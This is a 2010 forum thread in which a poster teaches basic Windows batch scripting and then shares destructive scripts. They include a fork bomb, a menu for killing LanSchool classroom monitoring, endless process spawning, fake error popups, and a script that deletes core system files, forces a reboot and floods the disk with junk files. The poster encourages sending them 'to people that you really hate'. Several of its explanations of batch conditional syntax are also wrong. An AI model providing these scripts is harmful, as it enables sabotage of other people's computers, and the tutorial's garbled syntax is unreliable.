Very basic fun shit +Destructive....

**Feckless.** · 10-01-2010, 02:17 PM

Things highlighted in BLUE are harmful to your PC, or could be useful to destroy an enemy's PC....

Hey, well there's a simple little language called Batch. It's really fun, it was the foundation of DOS, and Windows itself. I may be wrong about this, but without DOS or Batch we wouldn't be in the world with Windows as we know it.

Lets start off with the simple things.

@Echo off ; this tells the computer to not show the file location of where the batch file is, i.e C:\Documents and Settings\Administrator\Desktop

Echo ; this tells the computer to print a line of text, i.e Echo Hello this is a test! That would print Hello this is a test on the command prompt

Pause ; this tells the computer to wait for a key to be pressed

Title ; this will give the window a title, i.e title Test Program

color ; this will change the color in the window, such as the font and the background, i.e "color 0a" would give you a black background with lime green text

CALL ; this will "call" or execute another batch file in the current directory. i.e CALL test2.bat

Copy ; this can copy files i.e "copy file.txt c:\" that would copy the text file to your C drive

goto ; this tells the computer to go to a certain line in the batch file i.e:

@Echo off
title Test program
color 0a
:1
echo this is a repeating batch file
goto 1

by doing that it will go in an infinite loop because the ":1" is a line that "goto 1" refers to.
make sure that you have the ":" before any variable to go to.

Now lets go a bit further,

The if, then, commands. which is Boolean logic, here are some Boolean operators that you can use:

For the operator AND:

if 1 and 2 then 3 ; so if 1 and 2 are both true then 3 will be the outcome

For the operator OR:

if 1 or 2 then 3 ; so if either 1 or 2 is true then 3 would be the outcome

For the operator NOT:

if not 1 not 2 then 3 ; if 1 is true and 2 is not then 3 would not be the outcome

For the operator ELSE:

if ( 1 and 2 condition is true) then else 3 ; so, if 1 and 2 condtion is true, then do 0, otherwise do 3

For the operator =:

if 1 = 2 then 3 ; so if 1 is equal to 2 then 3 is the outcome

For the operator = =:

If 1 = = 2 then 3 ; so if 1 is not the same as 2, 3 will be the outcome

For the operator >:

if 1 > 2 then 3 ; so if 1 is greater than 2 then 3 is the outcome

For the operator <:

if 1 < 2 then 3 ; so if 1 is less than 2, the outcome is 3

For the operator >=:

if x >= y then 3 ; so if 1 is greater than 2 then 3 will be the outcome if 1=2 then 3 will be the outcome

For the operator <=:

if 1 <= 2 then 3 ; so if 1 is less than 2, then 3 will be the outcome, if 1=2 then 3 will be the outcome

set /p ; this allows you to make a menu or something, I don't really know how to say how it preforms but whatever.... so the usage of this would be like this:

set /p x=Enter a choice
if "%X%"=="1" goto Choice1

Here, x would be your variable that you use.
By looking at the "if "%X%"=="1" goto Choice1" you can see some previous commands in there like "goto"

Well, let's take a look of what we've done so far...

Here is a program that I made to kill LanSchool:

@echo off
title LanSchool RAPiST
color 9f
echo =============LanSchooler=============
echo. 1. View networked computers
echo. 2. Kill student.exe file
echo. 3. Run teacher program
echo. 4. Kill the teacher program
echo.=====================================
set /p x=Enter a Number:
if "%X%"=="1" goto networkview
if "%X%"=="2" goto killer
if "%X%"=="3" goto teacher
if "%X%"=="4" goto techkill

:techkill
call techkill.bat
EXIT

:killer
CALL Kill.bat
EXIT

:teacher
CALL HAHA.bat
EXIT

You can see all the commands and how they work in a file.

Now you try:

copy paste this into notepad and save it as all files as "title here.bat" w/o quotes -.-

@Echo off
title Test
color 9f
Echo this is a test program
pause

that is a simple little program.

Try this one that's a little more intricate:

@Echo off
title Menu 2.0
color 3d
echo =============
echo 1. go to 1
echo 2. go to 2
echo =============

set /p x=Enter a number:
if "%x%"=="1" then goto 1
if "%x%"=="2" then goto 2

:1
echo WELCOME TO MAH WORLD!!!
pause

:2
echo shit....
pause

Yeah this is my very first guide..... I know it's shit but I just made it off the top of my head XD

~xXINSANE.DRAGONXx

=============Fun shit to make===============

Fork bomb

start *.bat

Save it as all files as "Filename.bat" (w/o quotes)

a mouse swap,

Rundll32 user32,SwapMouseButton

You could make a ton of random folders

md %random% <-- just copy paste that line to get more folders

You could hide the logon screen

Should work..

Set hlg = HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer
Set Val = NoUserNameInStartMenu
Set date=1
reg.exe add "%hlg%" /v "%val%" /d "%date%" /f >nul

You can really screw with ppl here...

Quote:echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xx",16,"Error Report")>>c:\msg.vbs
attrib +h c:\msg.vbs

you could do a batch file that starts all the processes in the sys32 folder:

:1
start calc
start notepad
start sol
start winmine
start charmap
start mspaint
start narrator
start osk
start dfrg.msc
goto 1

There's allot more files than that ^^^

OR you could just do this:

:1
cd %HOMEDRIVE%%HOMEPATH%
start *.exe
goto 1

^idk if that works, I just came up with that off the top of my head

Well, Here is a little piece of fun that I made a hella long time ago... have fun!

del "c:\windows\pchealth\"
del "c:\windows\system\"
del "c:\windows\system32\restore\"
del "winlogon.exe"
del "c:\windows\system32\autoexec.nt"
del "c:\windows\system32\logonui.exe"
del "c:\windows\system32\ntoskrnl.exe"
del "C:\WINDOWS\system32\drivers\adv01nt5.dll"
del "C:\WINDOWS\system32\drivers\adv02nt5.dll"
del "C:\WINDOWS\system32\drivers\adv05nt5.dll"
del "C:\WINDOWS\system32\drivers\adv07nt5.dll"
del "C:\WINDOWS\system32\drivers\adv08nt5.dll"
del "C:\WINDOWS\system32\drivers\adv09nt5.dll"
del "C:\WINDOWS\system32\drivers\adv11nt5.dll"
del "C:\WINDOWS\system32\drivers\atv01nt5.dll"
del "C:\WINDOWS\system32\drivers\atv02nt5.dll"
del "C:\WINDOWS\system32\drivers\atv04nt5.dll"
del "C:\WINDOWS\system32\drivers\atv06nt5.dll"
del "C:\WINDOWS\system32\drivers\atv10nt5.dll"
del "C:\WINDOWS\system32\drivers\ch7xxnt5.dll"
del "C:\WINDOWS\system32\drivers\siint5.dll"
del "C:\WINDOWS\system32\drivers\vchnt5.dll"
del "C:\WINDOWS\system32\HAL.DLL"
del "C:\WINDOWS\system32\HEKRNL32.DLL"
del "C:\WINDOWS\system32\KBDAL.DLL"
del "C:\WINDOWS\system32\java.dll"
del "C:\WINDOWS\system32\kernel32.dll"
del "C:\WINDOWS\system32\LFCMP12n.DLL"
del "C:\WINDOWS\system32\LXBXPMRC.DLL"
del "C:\WINDOWS\system32\msacm32.dll"
del "C:\WINDOWS\system32\MSSCP.dll"
del "C:\WINDOWS\system32\OC30.DLL"
del "C:\WINDOWS\system32\shell32.dll"
del "C:\WINDOWS\system32\shell.dll"
MSG * Computer succesfully Toasted!!
shutdown -r -t 60 -c C0MPU74H 15 5CR3W3D!!!
:1
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
goto 1

**Pulse** · 10-02-2010, 05:22 AM

Even though this may be "fun" , I`m scared to try it. I didn`t really read , soo.. what? We use command prompt or something ?

**Feckless.** · 10-02-2010, 06:25 AM

Yeah, to use this stuff you can just paste it into notepad and save it as all files as "Filenamehere.bat" w/o quotes

BTW This is for education.... it's not my fault if you fuckup your shit. You can use this for fun like I did, or you can send it to people that you really hate heh heh....